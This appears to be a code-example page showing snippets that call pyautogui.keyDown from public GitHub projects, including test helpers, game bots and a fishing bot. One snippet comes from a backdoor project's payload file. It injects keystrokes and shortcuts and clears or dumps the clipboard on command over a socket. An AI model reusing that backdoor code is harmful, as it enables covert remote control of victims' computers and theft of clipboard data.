How to use the pyautogui.keyDown function in PyAutoGUI

To help you get started, we’ve selected a few PyAutoGUI examples, based on popular ways it is used in public projects.

Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.

github eclipse / sumo / tests / netedit / neteditTestFunctions.py View on Github external
def createConnection(referencePosition, fromLanePositionX, fromLanePositionY,
                     toLanePositionX, toLanePositionY, mode=""):
    """
    @brief create connection
    """
    # check if connection has to be created in certain mode
    if mode == "conflict":
        pyautogui.keyDown('ctrl')
    elif mode == "yield":
        pyautogui.keyDown('shift')
    # select first lane
    leftClick(referencePosition, fromLanePositionX, fromLanePositionY)
    # select another lane for create a connection
    leftClick(referencePosition, toLanePositionX, toLanePositionY)
    # check if connection has to be created in certain mode
    if mode == "conflict":
        pyautogui.keyUp('ctrl')
    elif mode == "yield":
        pyautogui.keyUp('shift')
github angus-y / PyIris-backdoor / payloads / win_injection_payload.py View on Github external
pyautogui.typewrite(arg)
            s.sendall('[+]Injected typewritten character/s' + End)
        elif injection_type == 'pr':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            pyautogui.press(arg)
            s.sendall('[+]Injected pressed key' + End)
        elif injection_type == 'sh':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            if ' ' in arg:
                arg = arg.split(' ')
                for key in arg:
                    pyautogui.keyDown(key)
                for key in reversed(arg):
                    pyautogui.keyUp(key)
                s.sendall('[+]Injected keyboard shortcut' + End)
            else:
                pyautogui.hotkey(arg)
                s.sendall('[+]Injected keyboard shortcut' + End)
        elif injection_type == 'valids':
            tar_list = '|/'.join(valid_keys)
            s.sendall(tar_list + End)
        elif injection_type == 'clip_clear':
            OpenClipboard()
            EmptyClipboard()
            s.sendall('[+]Cleared clipboard content' + End)
            CloseClipboard()
        elif injection_type == 'clip_dump':
            OpenClipboard()
github Johk3 / Rotmg-Bot / trader.py View on Github external
x += 1
                nects = False
            if x == 8 and nects or x == 20 and nects or x == 32 and nects:
                pyautogui.keyDown('a')
                sleep(0.25)
                pyautogui.keyUp('a')
                x += 1
                nects = False
            if x >= 9 and x <= 13 and nects or x >= 21 and x <= 25 and nects or x >= 33 and x <= 37 and nects:
                pyautogui.keyDown('s')
                sleep(0.2)
                pyautogui.keyUp('s')
                x += 1
                nects = False
            if x == 14 and nects or x == 26 and nects:
                pyautogui.keyDown('a')
                sleep(0.22)
                pyautogui.keyUp('a')
                x += 1
                nects = False

    print("Potions successfully stored")
    pyautogui.press("r")
    sleep(6)
    pyautogui.keyDown('s')
    sleep(7)
    pyautogui.keyUp('s')
    return True
github saranshgupta1995 / The-Iron-Throne / Mel / Mel.py View on Github external
def switchApp(self,num=20):
        pyautogui.keyDown('alt')
        for i in range(num):
            pyautogui.press('tab')
        pyautogui.keyUp('alt')
github SerpentAI / SerpentAI / serpent / input_controllers / pyautogui_input_controller.py View on Github external
def press_key(self, key, **kwargs):
        if ("force" in kwargs and kwargs["force"] is True) or self.game_is_focused:
            pyautogui.keyDown(keyboard_key_mapping[key.name])
github grantas33 / Google-dinosaur-with-OpenCV / main.py View on Github external
leftest = pt[0] + w
                obstacle_height = h
                if(h < 20 and pt[1] + 5 < dinoH):
                    should_crouch = True
                elif(should_crouch == True):
                    should_crouch = False
                    pyautogui.keyUp('down')
    
    if(leftest - dinoX < jumpdist - obstacle_height and should_crouch == False):            
        if(dinoH > DINO_WALKING_HEIGHT): 
            cv2.putText(scr, 'Jump!', (0, 20), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 0, 0),
                     2, cv2.LINE_AA)
            pyautogui.press('space')
    elif(should_crouch == True):
        if(is_crouching == False):
           pyautogui.keyDown('down')
           is_crouching = True
        cv2.putText(scr, 'Crouch!', (0, 20), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (30, 255, 10),
                     2, cv2.LINE_AA) 
  
    cv2.imshow('screen', scr) 
    if cv2.waitKey(1) & 0xFF == ord('q'):
        cv2.destroyAllWindows()
        break
github mozilla / iris_firefox / iris / api / core / key.py View on Github external
def key_down(key):
    """Performs a keyboard key press without the release. This will put that key in a held down state.

    :param key: The key to be pressed down.
    :return: None.
    """
    if isinstance(key, _IrisKey):
        pyautogui.keyDown(str(key))
    elif isinstance(key, str):
        if pyautogui.isValidKey(key):
            pyautogui.keyDown(key)
        else:
            raise ValueError("Unsupported string input.")
    else:
        raise ValueError(INVALID_GENERIC_INPUT)
github Johk3 / Rotmg-Bot / trader.py View on Github external
# show the output image
                cv2.imshow("Image", image)
                if color != None:
                    found_potions[color].append([cX, cY])
            i += 1
        return found_potions


if __name__ == "__main__":
    print("Starting...")
    sleep(2)
    pyautogui.moveTo(912, 444)
    pyautogui.click(912, 444)
    sleep(1)
    pyautogui.press('z')
    pyautogui.keyDown('s')
    sleep(5.5)
    pyautogui.keyUp('s')
    backtotrading = True
    with mss.mss() as sct:
        # Part of the screen to capture
        with open("username.txt", "r") as txt:
            username = txt.read()
        extracheck = True
        word = ""
        buy = ""
        mouseX = 1161
        mouseY = 460
        print("Press Q until I stop!\nBot started...")
        quit = True
        potion_results = analyzeimage()
        potions = ["attack", "vitdex", "defense", "mana", "speed", "wisdom"]
github YECHEZ / wow-fish-bot / wow-fish-bot.py View on Github external
dM10 = moments['m10']
                    dArea = moments['m00']
    
                    b_x = 0
                    b_y = 0
    
                    if dArea > 0:
                        b_x = int(dM10 / dArea)
                        b_y = int(dM01 / dArea)
                    if lastx > 0 and lasty > 0:
                        if lastx != b_x and lasty != b_y:
                            is_block = False
                            if b_x < 1: b_x = lastx
                            if b_y < 1: b_y = lasty
                            pyautogui.moveTo(b_x, b_y + fish_area[1], 0.3)
                            pyautogui.keyDown('shiftleft')
                            pyautogui.mouseDown(button='right')
                            pyautogui.mouseUp(button='right')
                            pyautogui.keyUp('shiftleft')
                            # print("Catch !")
                            time.sleep(5)
                    lastx = b_x
                    lasty = b_y
                    
                    # show windows with mask
                    # cv2.imshow("fish_mask", mask)
                    # cv2.imshow("fish_frame", frame)
    
                    if time.time() - new_cast_time > recast_time:
                        # print("New cast if something wrong")
                        is_block = False               
            if cv2.waitKey(1) == 27:
github Johk3 / Rotmg-Bot / trader.py View on Github external
print("No space was found for potions...")
                localcheck = False
                break
            if maxmove <= 0:
                localcheck = False
                print("Made moves")
                break

            if x <= 2 and nects:
                pyautogui.keyDown('d')
                sleep(0.2)
                pyautogui.keyUp('d')
                x += 1
                nects = False
            if x >= 3 and x <= 7 and nects or x >= 15 and x <= 19 and nects or x >= 27 and x <= 31 and nects:
                pyautogui.keyDown('w')
                sleep(0.2)
                pyautogui.keyUp('w')
                x += 1
                nects = False
            if x == 8 and nects or x == 20 and nects or x == 32 and nects:
                pyautogui.keyDown('a')
                sleep(0.25)
                pyautogui.keyUp('a')
                x += 1
                nects = False
            if x >= 9 and x <= 13 and nects or x >= 21 and x <= 25 and nects or x >= 33 and x <= 37 and nects:
                pyautogui.keyDown('s')
                sleep(0.2)
                pyautogui.keyUp('s')
                x += 1
                nects = False